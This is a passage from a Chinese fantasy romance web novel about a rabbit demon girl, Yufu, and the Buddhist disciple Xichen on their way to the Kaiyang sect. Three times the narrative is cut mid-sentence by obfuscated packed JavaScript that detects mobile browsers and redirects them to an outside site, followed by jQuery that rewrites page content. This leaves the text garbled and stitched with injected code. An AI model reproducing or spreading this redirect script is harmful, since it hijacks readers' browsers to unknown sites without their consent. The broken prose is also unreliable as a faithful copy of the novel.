他的面容背着日光,有种不真实的华美,但高挺鼻梁落下的阴影又减弱了这种不真实感,倏地可亲起来,尤其是他眸子温温和和的,就仿佛是在鼓励着她靠近。 玉扶不再迟疑,抬爪先前跨了两步,碰到佛修的指尖,然后仰着头看了佛修一眼,交上了自己所有的重量。 她轻易就被托起,身上薄膜似的结界也消融得无声无息,听见佛修与她平齐的声音问:“是摔疼了?” 身上不疼,可心里疼,佛修冷淡不喜她的时候,玉扶觉得抱大腿,委屈点没什么,可佛修用温温和和的语气问她是不是摔疼了,玉扶就下意识地点头了。 点完后,才惊觉自己回应了什么,心虚看向佛修。 佛修笑意包容,宽和,甚至第一次主动摸了摸玉扶脑袋:“下次便不会摔疼了。” 他解开了那层薄膜似的结界,即便有下一次,玉扶也能靠自己勾住他。 玉扶一时有些愣愣的,还有些不敢置信,虽只有一下,可佛修确实主动摸她了,而且,佛修分明知道的,摔不疼。 玉扶浸在陌生的情绪里,她觉得有点开心,然后还有些羞赧,她既想佛修再摸摸她,可又有点想躲起来。 矛盾的想法,在她脑中像是两个打架的小兔子,谁也压不倒谁。 息尘没将玉扶塞入袖中,也犹豫是否再次放入怀里,兔子很小,无论放哪都不突兀,可这最适合的两处,都将她摔得生气。 娇气,气性又大的小兔。 息尘头一次为修行以外的事感到为难。 也是这时,玉扶脑中想“躲起来”的小兔占了上风,她抱着佛修的手,毛茸茸的脑袋顶出一个魂体小兔,在魂体小兔飞向佛修的同时,玉扶也钻入了佛修的怀中。 “我叫玉扶,我姥姥唤我阿扶。” 你也可以唤。 后一句玉扶没有明说,可她期待佛修意会。 又一次地用这种传话的方式,玉扶已经不想瞒着佛修自己是妖了,他太好心肠了,玉扶觉得,即便佛修知道了自己不是普通的灵兽,是妖,只要求求他,一定也会愿意保护她的。 只是,一些琢磨不明白的情绪,玉扶就是不想用原形说人言了,她不想吓唬佛修了。 她总觉得用原形说人话,不够漂亮。 佛修不是山野精怪,他连毛茸茸都不懂欣赏呢。 她要快点恢复化形,让佛修知道,他们其实是一样的。 她还想请佛修帮助她双修,师姐说了,双修可以帮她度过渡情期,还可以提升修为。 佛修那么悲天悯人,一定会答应的吧。 玉扶在息尘的怀里团成一团,茸茸兔毛下的妖纹也因情绪波动在发烫。 但她等了许久,也没有等到佛修唤她。 玉扶不服气地又顶出一个魂体小兔,很想大声质问“你为什么不唤我?”,但实际上,传到佛修那里的是: “我想你也叫我阿扶。” “你不叫叫我吗?” 虽是通过神识化身传话,可所传递的信息并不亚于面对面相谈,甚至因是直接将情感连同话语传递的,息尘几乎可以于心海中直接感受到玉扶的委屈。 息尘也并不是不叫,而是在玉扶告知名姓的一刻,他就已经想很多,玉扶的来历显然比他原先认知的复杂,她有家人,有名姓,血脉有传承,可她差点就遭了难。 息尘想不出她这样年幼的小兽为何会流落到向他求助,在此前又吃过什么苦? 他不该因自身心境的动念,让她自行离去。 这样的小兽怎会不怕? “阿扶。”息尘终是唤了一声,问:“你姥姥在何处?” 玉扶感到惊喜,佛修终于唤她了,可问起姥姥,玉扶又有点低落,以至顶出的魂体小兔,也耷拉着双耳没入佛修体内。 “我姥姥现在不在了。” 息尘静默须臾,隔着一层衣料轻拍了拍玉扶,舒服的力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179377|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,安抚的意味。 玉扶舒适地眯了眯眼,她觉得佛修好像突然间,就更心肠好了。 她喜欢这种便亲近,又顶出一个魂体小兔:“我还不知道你叫什么?” “难道就叫佛子吗?” “佛修是不是都可以叫佛子?” “我也这样叫吗?” 这次的魂体小兔异常活泼,声音清脆落珠般接连,息尘不自觉地带上一抹笑意,“佛宗弟子万万,有成圣资质的方可唤佛子。” “你不必唤我佛子。” “我名息尘。” 玉扶咀嚼着这个名字,心中念一遍“息尘”,又念一遍“玉扶”,真好,他们都是两个字的名姓,是不是就是师姐常和情人说的般配? 用神识化身魂体小兔一直是很耗费精力的事,换了往日,玉扶是绝对不会觉得累的,可现下,她又感到晕乎乎了,然而,她还是用最后的力气顶出一个跳跃着的魂体小兔。 这次言语的只有两个字—— “息尘。” 他唤了她的名,她也同样唤了他的名。 玉扶异常满足。 息尘也又浮起笑意。 他从没像今日这般笑得多,疏离褪去,浅笑温静如水,足以令人朝圣般的华美面容,不突兀地多了几分凡尘气。 往来如织的人流大道上,他停驻已久,可那些或探究,或好奇的目光,从不会令他染尘,周身自成一隅地皎皎。 开阳宗为首弟子孟栩纳罕好一会,才问一旁的人:“这当真是你们佛宗的佛子?” 传闻中不是清冷避世之极吗? 被问之人头顶光光,也是个佛修,但一身佛门衣袍同息尘略有不同,颜色较深,形制也不一。 佛有万千,佛宗全名“万佛”,不同佛菩法门下弟子修的也不是一种禅,但息尘确是佛宗的佛子无疑,外人不知佛子的脾性,同宗之人却是知晓的,佛子为人儒雅和善,并不清高,只深居简出加之修行实在高出同辈甚远,光是远观就已自惭形秽,无颜惊扰。 故而,对瞧见佛子与一只小兔平等相待,佛宗弟子们并不大惊小怪,唯见佛子唇畔笑意,才倏有明月原在凡之感。 被问佛修眸色怔忡地从佛子处收回视线,他确认地道:“是我宗佛子。” “孟道友与其在这与我等闲谈,倒不如尽快料理了此间事宜。” 几名深色衣袍的佛修先行走向佛子,合礼道:“师叔。” 他们中唯一二人较佛子年少,然,佛子为不空圣者唯剩的弟子,即便不空圣者已坐化,可师叔还是师叔,无论他们其中是否比之年长。 当然,他们这声师叔也唤得心甘,佛宗圣者寥寥,已许久没有破境成圣的新圣者了,无论是出于宗门的立场还是为宗门的将来,佛子皆是他们瞻仰的希望。 他们道明来意:“游仙会在即,我等前来赴会,听闻师叔也在千乘洲,故来看看可有用得上我等之处。” 这时孟栩也上前,爽朗见礼:“在下开阳宗孟栩,玄阳真人坐下弟子。” “梅江城城主传信宗门,言治下有域界被妖域吞并,幸得佛子出手相助救急,但恐慢怠了佛子,心有不安。” “故师尊命我等来料理诸后事宜,也请佛子前往长泽赴会道谢。” 说着,孟栩掏出一个豪气金帖,双手俸与息尘。 其实,这些大都是冠冕堂皇的话,佛子虽路过帮梅江城城主修补妖隙,但显然的,在城主往开阳宗送信之时,并没把握佛子真能一人将被吞入妖域的域界割离回来,城主送信的本意本就是请来开阳宗的人处理这摊烂事。 只是话不能说的太白,还要显出事情的严重,这才将佛子也提及。 不过,开阳宗的人对佛子的本事明显认同多了,只派来了弟子善后,送上的金帖才是真正的致谢。 息尘接过金帖,颔首道:“我会去的。” 5. 第 5 章 世间修行者繁如砂砾,可真正得证大道者,少之又少。 游仙会算是四境中难得的一个可触仙道的机缘,为北境昔日飞升成功的修士,留下的一处通天之隙。 此隙以飞升大能对凡尘的留恋为纽带,属单向通道,可降下天谕。 后来有望飞升的修士都爱集中在这一处历劫,有成功的,也有不成功的。 成功的,也尝试同前人一般留下点来日神念下降的机会;不成功的,法宝、剑灵之流的也能留下些,有些没被霹干净的神魂,也有隔上个千百年,被有缘人激活的。 总之,这一惯常飞升之地,逐成规模,自成一境,被各大宗门争破了头,最后开阳宗略胜一筹,作为掌境者。 至于开启钥匙,开阳宗还独大不了,由几个大宗共同把持,商议每隔三百年,开启一次,送入各宗人选。 也就是说,入了游仙会的境中,有机会得到曾飞升大能的启示,且因里头不只有一个飞升大能的遗泽,也就得了个游仙会的名头。 息尘本不在这赴会的名额之上,可开阳宗为了这游仙会正繁忙的关头,他能帮此处妖域问题解决了,无疑是帮了大忙,豪气送出一份金帖,也算是开阳宗一贯的作风。 再则,息尘此次离开宗门后,本也漫无目的,去一趟也正好给几个师侄托底。 他答应的没有半点犹豫。 孟栩不由又好奇打量息尘一眼,佛子好像也没想象中的难接近,一时送出金帖后,越发自来熟:“佛子方才的小兔儿,我远瞧着倒是可爱,我宗门也有许多为御兽豢养的灵兽,身上正带了不少灵果谷物。” “佛子的小兔寻常都吃什么?” 说着,他已然往储物袋中掏。 几个与孟栩同行一路的佛修,面露难尽的颜色,孟道友一路的豪放自来熟,已令他们有了见识,可没想到了佛子跟前也没有收敛,他们宗门的佛子,就是他们自己,都不曾这样熟稔地刻意亲近过。 心底五味杂陈,佩服有之,觉得孟栩冒犯也有之,当中最年少的小师弟行知,已忍不住要伸手阻拦。 息尘容色清淡,双眼落在孟栩掏出的灵果和谷物上,想到玉扶还年幼,恐怕没辟谷,是该准备些吃食了。 然也不过是一霎的功夫,他察觉到精神恹恹的玉扶用爪子扒拉他。 息尘意会她的不满,浅笑地拒绝了孟栩的好意:“小兔娇气,不喜食这些。” 孟栩狐疑往佛子微微隆起一团的衣料处看一眼,这种没有战斗力的灵宠不吃这个,难道饮仙露不成? 不过想到佛子蹲下身待小兔的姿态,又想,确实娇气。 孟栩塞回灵果谷物,忍了忍,还是不吐不快:“佛子,我同你说,养灵宠我有经验,万不能太纵容,不然容易挑嘴。” “我师妹就有一只天山鼠的灵宠,幼鼠时养的太过精细,后来宁愿饿着也不食低阶的灵果,最后生生饿死了,还有我一师弟……” 玉扶忍无可忍了,隔着一层衣料,大骂兔语:“&¥#……” 叽里咕噜的,听不懂,但听得出,很凶,很有恃无恐,还骂的很脏。 孟栩愣得后退一步,不可置信看着佛子,又看看佛子腰腹。 这一幕实在荒唐,佛子容色淡然绝尘,可那又凶又蛮的声音的确从他怀中发出无疑,而且细听下,确实挺娇气的,骂着骂着好像就没力气了,呜呜咽咽地仿佛在与佛修控诉他。 息尘微叹着轻拍了拍玉扶,安抚:“孟道友没有恶意,你不可太过。” 玉扶仍旧不服气地在息尘怀里扭了个身,然后才“昂”一声不闹,不过姓孟的这修士,玉扶已然记下,她好不容易同息尘关系好了,这人一开口,就将她定为灵宠,还让息尘给她吃那些低阶的谷物灵果。 息尘都还没为她准备过吃食呢,万一、万一听了他的话,被带歪了怎么办? 玉扶不吃谷物,扎嘴,灵果也只吃那又香又甜灵力充沛的,宗门师姐们都有专门为她培育灵果灵植。 而且,她才不是灵宠,她与那种灵智低下、不会化形、和人修签订主从契约的灵宠完全不是一类,她是天生的妖,天生就会吸纳天地灵气修炼。 玉扶越发想快些恢复妖力了,闭耳不愿再听聒噪的姓孟修士言语。 孟栩在一刹愣怔后,也讪讪道:“佛子的小兔确实娇气。” “我等还需尽快前往妖域吞噬之地,日后再与佛子交流育兽。” 他可算是想起来做什么的了,可仍引得一干人等侧目—— 还没完了是吧? 孟栩神经粗大,对这等侧目全然屏蔽地往前走,倒是他身后几个弟子,略带歉意地同佛子等人目光交视。 深衣佛修等人倒是慢一步,与息尘又话语几句,才跟上孟栩。 作别后,息尘还是先去见了梅江城城主,告知妖隙情况。 城主连连道谢,知息尘将要前往开阳宗赴游仙会,心下羡慕,却仍旧安排道:“佛子辛劳,不若先在城中休息一日,明日再同灵舟一道前往开阳宗。” 开阳宗游仙会,其下大城也要跟着好一番热闹,梅江城虽隔的远,可也有一些物资调度要送去。 今日到的孟栩等人,也特意送了一份指定的单子来,明日恰备好一灵舟启航。 息尘略作想,答应下来。 开阳宗毕竟隔的远,空间术法灵力消耗大,短途尚可,远距离却不如灵舟便宜。 * 在息尘离去后的妖域吞噬地界。 妖兽经一次被妖魄驱使的兽潮,其实余下的已然不多了,不过,日后毕竟还是有普通凡人要居住的地方,还是需细致查验一番才可回城交代。 当见到开阳宗派来的人,众修士更是松快不少。 孟栩与他们交接了一番,先去查看了妖隙与人界接壤的地方,几名佛修亦然跟上,佛子的修补手笔,可不得瞻仰学习一二。 妖隙修补的极其完整,微泛着蓝光的结界将扩大到足有百里的妖隙接缝得一丝不苟,只待妖隙上下缓慢合拢,这层结界也就消融了。 孟栩啧啧赞叹:“这接缝,就是我师尊来了都要道一句完美。” “不愧是你们佛宗的佛子。” 行知已经对这个开阳宗道友无语,只投去一个“你才知道吗”的眼神。 孟栩摸着下颌,继续拉着离的近的行知咕叨:“不过,你们佛子当真只有两百岁?” “我师尊都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179378|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好几千岁了,也没见这本事。” “那我先才岂不是有些冒犯了?” 行知缓慢离他远一些,由他一人自说自话。 但也是他这种不间歇的咕叨,林中一些旁的声音也变得更为突兀清晰起来。 间间断断的“嗷”声,时而呜呜的,时而带着一些舔舐的水声。 是妖兽! 还是一只受伤了的妖兽。 本着不放过的原则,孟栩寻到了声音的来处,隔着一层微微蓝光的结界,妖隙的另一侧,一只受伤的狐狸半掩在落叶堆中,其身后尾巴虚弱地摆动。 一根、两根、三根……六根—— 数到第六跟尾巴尖的时候,孟栩已然屏住了呼吸,狐妖六尾已是少见,九尾天狐更是难遇,即便遇到了也多为已经长成的大妖,自有修为,极难契约。 可现在,这机会就摆在眼前,若能结契御使,游仙会上岂不是能多一个机会? 游仙会的境里头,是全凭机缘的,无缘者,入境甚至可能出现什么都看不到的情况。 有缘者,无论是已知的灵剑山,还是雷刀池,都会敞开了任由进入,当然,还不止如此,其内独一无二的机缘,才是更可遇不可求的。 作为一生只能进入一次的机会,无不有惧怕第一种情况存在的修士,多会另带一契约灵兽一起进入,灵兽的机缘也可算作是主人的机缘。 孟栩对自己倒是自信,可谁会嫌弃机会少,尤其是这样难得又漂亮的九尾狐狸。 是的,漂亮。 狐狸见有修士发现了她,竟也不跑,也不知是伤得太重,还是真不惧,扫视来一眼,眼波比人还媚。 想要。 孟栩靠近了结界。 行知顿时喝一声,“孟道友,你做什么!这结界不能坏。” 孟栩猛然清醒,天狐擅惑,他方才差点着了道。 虚汗下流,同行知道谢:“多谢行知道友,这狐狸实在古怪,可是佛子击败在此?怎也不料理干净一些。” 虽是抱怨,可也有些可惜的感慨,看一眼狐妖,再想一下佛子怀里的小兔,觉得真是暴殄天物,养狐狸不比养一只兔子好? 毕竟隔了妖域与结界,两人还是走开了些,想与天狐两相无事。 他们修士,该杀的杀,不该杀的可是从来不杀,如笨笨的妖兽可杀可御,妖修大妖之流,长成的也不主动招惹,有缘又有本事制服的才养有野性的妖。 而且,更多时候,御兽的修士都会选择一代代修士培养筛下来,脱去野性的灵兽,这种灵兽能力强,与主人也更契合,高阶一些的,化形也不在少数。 孟栩漫天胡想,走开前,最后看一眼狐狸,再次惋惜无比,有缘,又恰有本事制服,可不就是他现在的情况? 九尾天狐侧垂着脸,狐眸不断发着一种无形的术法,终于,不止是那个姓孟修士受惑,年轻佛修也跟着茫茫然望来。 狐唇咧出一妩媚的弧度,下一刻,心脏猛地紧缩,团团黑雾般的怪影攥紧了她的心脏,疼痛扭曲了她的狐狸脸庞,就像有另一道意识降于她身地道:“惑心镜……带回……妖躯……。” 狐脸一瞬又变得妩媚:“是,我的主人。” 6. 第 6 章 灵舟之上,玉扶今日精神已好了许多。 灵舟防护还未开,升起时,凉爽的风将她茸茸的兔毛尽数向一个方向吹,她四肢扒在甲板上,如伸老腰般地享受眯眼。 明明不大的身子,却像有千钧之力,牢固得紧。 直到瞧见息尘行来,她才卸了力,顺风滚几圈,毛茸茸的身子随之被带起。 在半空扒拉几下,风也有灵性似的,将她直往佛子的方向送。 息尘被城主拉着客套,方慢了片刻登上灵舟,玉扶不耐烦听不懂的叽里咕噜,先跑上了灵舟。 此刻寻来,灵舟防护正开,风止,被玉扶撞了个满怀。 娴熟接住,道一声:“淘气。” 语气并不严厉,眉目低敛下,面如水墨中晕开的一抹光,华美圣洁,让人目眩。 玉扶露出肚皮,拱起似的蜷缩发力,倏地炸开一朵小红花。 嫩生生,红艳艳,富有生机的真的花。 息尘愣怔一刹,方意会,这是送给他的。 玉扶还在发力,经由她灵力催发的花,一点一点上飘,柔嫩的花瓣从佛子的唇瓣而过,侧擦他的面颊,如撒娇一般磨人,就好像,他不收下,这磨蹭就不会停止。 他总是对这种亲昵反应慢一拍,不适应,也总疑惑,照养一只小兽原来是这样的吗? 他终于伸手摘下小花,不见如何施法,透明气泡一般的结界包裹了小花,转手不见,他低眼看着泄力累得直喘气的小兔,为她顺气道:“灵力不是这样用的。” “虚顶颔收,垂帘守渊……” 息尘一边说,一边用手指抬起玉扶颓耷的兔下巴。 指腹略顿了顿,偏离一点探寻,寻到兽与人不同的关窍,这才继续下移道:“地泉起涌,循柱过踵……” 痒痒的,一股不属于玉扶的菁纯灵力,从玉扶各个穴位窜过,企图教会她怎样使用灵力。 然玉扶天生的妖,也不是经人修一代代训化的灵兽,这些异样的灵力初次从她的关窍流过,颤栗得玉扶蜷了背脊,不大的身子如虾米一般抱住了佛子的手指。 玉扶说不出什么感觉,觉得有点舒服,可又好像有点难受,本能地将整个脸颊贴到了佛子的手心。 她迷离又茫然,还想再靠近一点,可又不知怎么样才是再靠近一点,抬起的眼,只能望见息尘线条清绝的下颌,然后层叠衣领锢住的脖颈,那儿包裹得实在紧,只留出了喉结往上的一段颈子。 凸起,紧绷,像玉一样好看的喉结。 玉扶倏地非常渴望咬上一口。 粉嫩的舌尖不自觉伸出,舔过下唇,唇下茸茸短毛霎时晶亮亮一片。 察觉她的不对,息尘立时收了引导灵力。 灵力甫一撤离,玉扶精神瞬地萎靡,双耳也恹恹耷下,眼皮半掀不掀地哀怨看一眼息尘,继而整个脑袋都羞得埋入自己的茸毛中。 下山前死记硬背的各种知识,玉扶在方才,突然就有了点感悟。 她的渡情期似乎也发生了某种变化,不止是恹恹的,情绪受到影响,她开始渴望更外在一些的东西。 比如,她会想多贴贴息尘,还会想咬他一口。 可她分明是吃素的。 都怪佛子,一缕灵力生生诱发了她渡情期的启蒙,让她变得好奇怪。 玉扶既哀怨,又不舍那一缕灵力在她身上留下的一点余韵。 小心翼翼地自己咂摸着,不敢让息尘发现。 而息尘也难得皱了眉,他没想玉扶会变得更没精神,这套《玄枢引灵诀》分明适用大部分人或兽,是玉扶太小的缘故吗? 他容情端肃,也开始怀疑这套功法的普适性。 带玉扶入了灵舟舱房内,着手默下《玄枢引灵诀》,重新编写。 玉扶趴在桌案上,余韵过后,一丝属于佛子灵力的痕迹也不剩,她目不转睛盯着息尘写写画画,好像突然就有点会欣赏人修了,他的脸好立体,眉宇间好清正,眼睫也好长! 玉扶寻到乐趣似的,一盯便是半晌,然后,她开始不满足这种距离的盯视,挪得靠近一点,又靠近一点。 可佛修一点没留意她的动静。 玉扶气闷,抬爪威吓地张张,但并没有往息尘写画的图纸上拍,就像她生来就能吸纳天地精华修炼一样,她也天生地就会讨人喜欢,她分得清做什么会让人厌恶,又做什么会让人喜欢。 而她想要的是,喜欢。 所以她并不会做给息尘惹麻烦的事。 也以至于,她的举动特别的窝窝囊囊,甚至在终于吸引到佛修看来时,立即收了虚张声势的爪,就势一滚,撞到他支撑的手肘蹭蹭。 息尘淡笑地将她扶起:“你灵性非凡,不修行入道可惜了。” “你先莫淘气,我为你改一套适合的功法,领你修行。” 玉扶盯着他一张一合的唇,又不合时宜地乱想,叽里咕噜的,好像很软。 咬起来会是什么感觉? 修行? 她想和他修行的,师姐们教授的功法她一直记得很熟,在息尘话落时,玉扶适时地点头肯定。 息尘见她答应,很是有上进心,当下继续编写功法。 然则,功法的编写从来不是一朝一夕的,也不是何人都能轻易做到,息尘也不过是在前人基础上为玉扶修改。 可即便如此,也颇费力。 尤其是玉扶既配合,又不配合,每一次每一缕游走进入她关窍的灵力,都被她截留品味,遑论运转了。 也以至任息尘如何改编引灵功法,在玉扶体内都阻塞难行。 直至到了开阳宗山下的大城,息尘也没能编出适宜玉扶的功法,或许,玉扶这样有血脉传承的小兽,难以与人族修士编写的功法相适也说不一定。 一旦接受了这种认定,息尘便回想起不少细节,玉扶确实自有一套修炼方式,每日清晨会前往灵舟甲板,吸纳天地初蒙的第一缕曦光中的精气,午夜时分,也会沐在月华下吐纳。 近日来,身形虽未变,重量却可感地沉了几分。 他劳形功法编写,反倒没所察,也真是第一次照养这样灵性的小兽,应了关心则乱。 他放弃了编功法,也便停止了用灵力对玉扶修炼的引导。 玉扶后知后觉,等反应过来时,已经住入到了开阳宗为来客准备的客院。 * 开阳宗大宗气韵,灵山巍峨,宫殿万千,青石台阶挂涧藏雾,说句仙宫也不为过。 其内弟子也不少与孟栩如出一辙的热情豪爽,息尘甫一入住,就有年轻弟子为他介绍开阳宗情况。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179379|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉扶到这时才知,原来距游仙会开始还有十来日呢,早到只是各宗交流的礼仪罢了。 难怪息尘的那些师侄们还有空闲去往梅江城帮忙。 而且早到也不是没有好处,开阳宗会造势,又会做生意。 山下的贵来城,有各种昔日飞升大能相关的话本传说,其中许多是真实事例改编,往届游仙会,也真有靠听说书的,在游仙会的境中寻到机缘的。 除开话本说书之类的外,还有各种商铺市集,很是热闹。 不少修士都是冲着这机会与它境修士置换修炼资源,故而,光是市集就能开上一整个月。 玉扶听了很是向往,她还没逛过人修的市集呢。 合欢宗治下是没有城镇的,她的师姐们多是出很远的门寻情人,据说这是老一辈留下的传统,方便被变成仇敌的情人寻上门时,不伤及无辜。 玉扶一直期待着息尘能带她也去逛逛。 然,从住入客院的第一日里,就总有人来拜访佛子,叽里咕噜的,都是听不懂的高深佛法啦,道法啦。 玉扶刚开始还能耐心等待,可接连几日,息尘都没带她修炼。 她喜欢息尘灵力灌入体内的感觉,整个身子都懒洋洋的舒适,所有渡情期带来的低落,都能得到缓解。 然而现在,随着耐心的告罄,玉扶总觉得非常的焦躁,想把所有与她抢佛子的人都赶走,想让佛子只与她修炼,还好想—— 吃掉他! 她甚至做了一个奇怪的梦,梦里她恢复了妖力,但她好奇怪,变得不像是她自己了,她成了下山前看过的那些话本上的人,小腹一阵一阵地发麻,难受得呜咽,激烈的情感寻不到宣泄出口地压抑。 然后她醒了。 粲然生光的月色下,小小一团的灵兔开始变大,开始褪去属于兽类的毛发,显出少女的身形,许是梦中的压抑,她的一双眸儿又红,又隐着泪光,鲜嫩得仿佛在流动的唇,衬得小脸越发雪白。 她本就离息尘不远,此刻不过挪动步余的距离,整个上半身都趴到了息尘的腿上。 他在打坐。 他睁开了眼,漂亮圣洁的眸子如神祇般俯视着她。 玉扶瞧见了他眸中的自己,她昏了头,手指轻轻扯动他的衣袍,问他:“你不带我修炼了吗?” “你都不给我渡灵力了。” 玉扶呜呜地指责。 这时,息尘不用猜,也知趴于他腿上的是玉扶,赖上他的小兔。 他该吃惊的,吃惊她化形后竟不是孩童,也该先与她拉开距离。 可她呜咽脆弱得比之孩童也不遑多让,大颗的泪珠挂在腮畔,每一颗都剔透晶莹。 食指揩去她的泪珠,湿润沁过肌骨的凉。 她不过是只小兔罢了,何必苛责。 清润如玉的声音自他口中而出:“阿扶,并非我不带你修炼,你血脉不凡,我教不了你。” “我的灵力对你也无用,你懂吗?” 息尘垂眸看着玉扶,话中的柔和,慈悲又温柔。 可玉扶并不懂,怎么会无用呢? 他的灵力分明让她很舒服。 然而,玉扶并不知该如何证明,只好仰着脸,祈求着问:“可我还是想同你修炼。” “可以吗?” 7. 第 7 章 玉扶的化形,年岁不过十六七。 可她实在被养得好,即便是人形,肌肤也莹润雪白,软缎般的乌发间别着些似化形落下的绒球,此时睁着秋水一般的眸子说着请求,看得人根本说不出拒绝的话。 息尘薄薄的唇抿成一线,没有拒绝,但也不像是答应。 玉扶水眸迷蒙,生出些气来,她想起来,佛修之前就想让她离开自生自灭,他一点都不好心肠,他们明明关系都比一开始好了,她都这样求他了,他如果还想赶自己走—— 她就不要他了! 师姐们说了情人可以有很多个,这不过是第一个不成功罢了,开阳宗聚集了这么多修士,她都能重新化形了,不怕找不到下一个。 奇异地,息尘竟能一眼看出玉扶要撒娇闹气。 然,还不等他们有任何言语,明月被乌云遮挡,月华不再。 玉扶倏地感觉有什么要从身上冒出来了,她的耳朵、尾巴下一刻相继冒出。 继而“砰”的一下,她变回了小兔。 一切发生得极快,别说息尘了,就是玉扶自己都没能反应过来。 她内观灵海,依旧空空,原来她短暂的化形,是她渡情期下强烈的慾望催动的。 玉扶觉得很是丢脸,完全放弃自我,背身将自己缩成一团。 息尘不由淡笑,果然还只是只小兔。 “进屋吧,要下雨了。”息尘起身,将玉扶卷起,带入室内。 他也似终于从玉扶的反常中察觉了她的担忧,安抚她道:“我虽不能授你修炼,但也不会抛下你不管。” “明日我带你去城中逛逛。” “莫要再随意强行化形,不利根基。” 玉扶觉得息尘好像一直对她有一些误解,此刻也很是不服气,佛修都是大呆瓜,她都当着他的面化形了,竟然还将她当做幼兔。 幼兔怎么可能化形嘛,就算化形,又怎么可能化成少女。 玉扶气哼哼的,可她根本不想解释。 她坏心眼地想,就这样赖在他身边,等她完全恢复了,再抛弃他。 * 许是因见过玉扶化形的缘故,对息尘还是留有一些影响。 当晚他们便分房了,玉扶一只比巴掌大不了多少的兔子,独自占了整个房间,而息尘换到了与她一墙之隔的偏房,继续打坐修禅。 玉扶气得渡情期的躁动都压了下去。 从来没有人这样嫌弃过她。 她钻入被褥中,小得看不见,可呜呜咽咽的声响并不小。 息尘隔着墙都皱了眉,又小又娇,还气性大。 他实不知该如何待玉扶了,好似纵容不宜,疏远也不对。 至于训斥,脑中一闪而过她哭得红了眼眶,委屈地问他“你不带我修炼了吗?”的模样。 可怜得像是要被他弃养。 越想,反倒是他的不该了。 息尘自来寂寂的心,无端地微澜。 * 翌日,玉扶顶开房门,身子从缝隙里挤出。 天光还没大亮,她是出来修炼的。 她是妖,还是一直独居山上的妖,生来就离不开日月精华。 她也想清楚了,佛修是大呆瓜,靠不住,还是要自己多努力。 而且,在所有浓烈的情绪褪去后,她也懊恼,突然在息尘面前化形,全然超出了她的控制。 好像突然间,息尘就离她更远了。 他不喜欢毛茸茸,也不喜欢化形后的她。 即便情感支配了身躯,玉扶也清楚记得,昨日,息尘那慈悲温柔的目光里,看她只有慈悲温柔。 这本该是寻常的目光,可玉扶就是觉得,他不该寻常。 她都变得奇怪了,他不该还那么平静。 非要形容这愤懑来处的话,那就是,玉扶突然发现柔亮的月光,不止照亮她,还照亮世间一切的生灵。 她离月亮很远,月亮也不会奔她而来。 他对她一点也不特殊。 玉扶第一次对什么是佛修有了认知,他们清持戒律,但求无上佛法。 他们心肠是好,可修佛的意志也极为坚定。 而且也不像剑修刀修之流,就算修的是无情道,可那也顶多是起初不动心而已,不是完全没有靠近和改变的可能。 佛修让玉扶感到气馁。 恰是时,天际初晓,曦光乍破,一道道金光碎开红霞照在玉扶身上。 她整个身子都在发亮发红,灵海一点点充盈,浸润入四肢百骸。 比起前几日,她的状态又好上了不少,身躯虽小,却恢复了健壮,只要她想,她还能变得更大一点。 亏空的气血也在补回,只散去的修为还一时急不得。 更令她开心的是,灵海终于能在补足亏空外,储下更多灵力,至少不会催生一朵花也费劲,不过,要支持久一些化形的话,还是有些为难。 玉扶可不想再化形着化形着就突然变兔子了。 丢人。 当下更是沉静下心,吸纳每日最精华时的能量。 而在偏房中的息尘,也早在玉扶挤出房门时便睁了眼,神识留意着她的一举一动,见她勤奋如此,欣慰笑笑。 只是一只小兔,也仅是带着她而已,与戒律又有何相冲? 况戒律重在心而非形,持戒但心不系缚,方是戒律的禅意,若只执着于表面的持戒,对弱小避之不及,岂不是傲慢? 一念通达,对阿扶化形是否女子,又是否超出他所以为的年纪,都不再在意。 一人一兔,一时各居一隅修炼。 * 当日头开始高升,玉扶也从修炼中醒来。 鼻尖轻动,她闻到了灵力充沛的果香,身子半转,便看到了一盘灵果。 在梅江城时,孟栩的提醒还是有点用,息尘后来便会为她准备极好的灵果,这几日,因知道佛子身上养了一只灵兔的修士并不少,也总会在上门请教时,带上一些品质上佳的灵果琼浆。 玉扶闻一闻就撇了头,料定又是有人来寻息尘论法了。 生气背坐,脚步却在身后响起,她耳朵不自觉竖了竖。 她耳力灵敏,这种缓而每步都一致的脚步,玉扶一听就知道是息尘的。 意识到后,双耳立马不经意地垂下些。 她才没有关心息尘的动静。 可又控制不住地想,他不同人论法了吗? “阿扶,可要同我下山去逛逛?”息尘站在玉扶身后问。 玉扶才垂下些的耳立时抖了抖,尾巴也不受控地回应,但她立马控制住。 小小一团的背影霎时滑稽起来,尾巴耸一下,小兔背脊就僵一下,绷紧似的克制什么, 